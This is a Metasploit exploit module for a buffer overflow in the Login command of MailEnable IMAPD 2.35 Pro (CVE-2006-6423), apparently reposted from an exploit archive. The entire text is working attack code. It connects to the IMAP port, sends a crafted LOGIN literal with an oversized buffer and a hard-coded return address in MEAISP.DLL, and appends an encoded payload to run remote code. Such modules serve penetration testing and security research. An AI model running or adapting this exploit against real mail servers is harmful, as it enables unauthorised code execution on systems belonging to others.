MailEnable IMAPD (2.35) Login Request Buffer Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'MailEnable IMAPD (2.35) Login Request Buffer Overflow',  
'Description' => %q{  
MailEnable's IMAP server contains a buffer overflow  
vulnerability in the Login command.   
},  
'Author' => [ 'MC' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2006-6423'],  
[ 'OSVDB', '32125'],  
[ 'BID', '21492'],  
[ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2006-December/051229.html'],  
],  
'Privileged' => true,  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},   
'Payload' =>  
{  
'Space' => 450,  
'BadChars' => "\x00\x0a\x0d\x20",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>   
[  
[ 'MailEnable 2.35 Pro', { 'Ret' => 0x10049abb } ], #MEAISP.DLL  
],  
'DisclosureDate' => 'Dec 11 2006',  
'DefaultTarget' => 0))  
  
register_options( [ Opt::RPORT(143) ], self.class )  
end  
  
def exploit  
connect  
  
auth = "a001 LOGIN " + rand_text_alpha_upper(4) + " {10}\r\n"   
sploit = rand_text_alpha_upper(556) + [target.ret].pack('V')   
sploit << payload.encoded + "\r\n\r\n"  
  
res = sock.recv(50)  
if ( res =~ / OK IMAP4rev1/)   
print_status("Trying target #{target.name}...")  
sock.put(auth)  
sock.get_once(-1, 3)   
sock.put(sploit)  
else  
print_status("Not running IMAP4rev1...")  
end  
  
handler  
disconnect  
end  
  
end  
`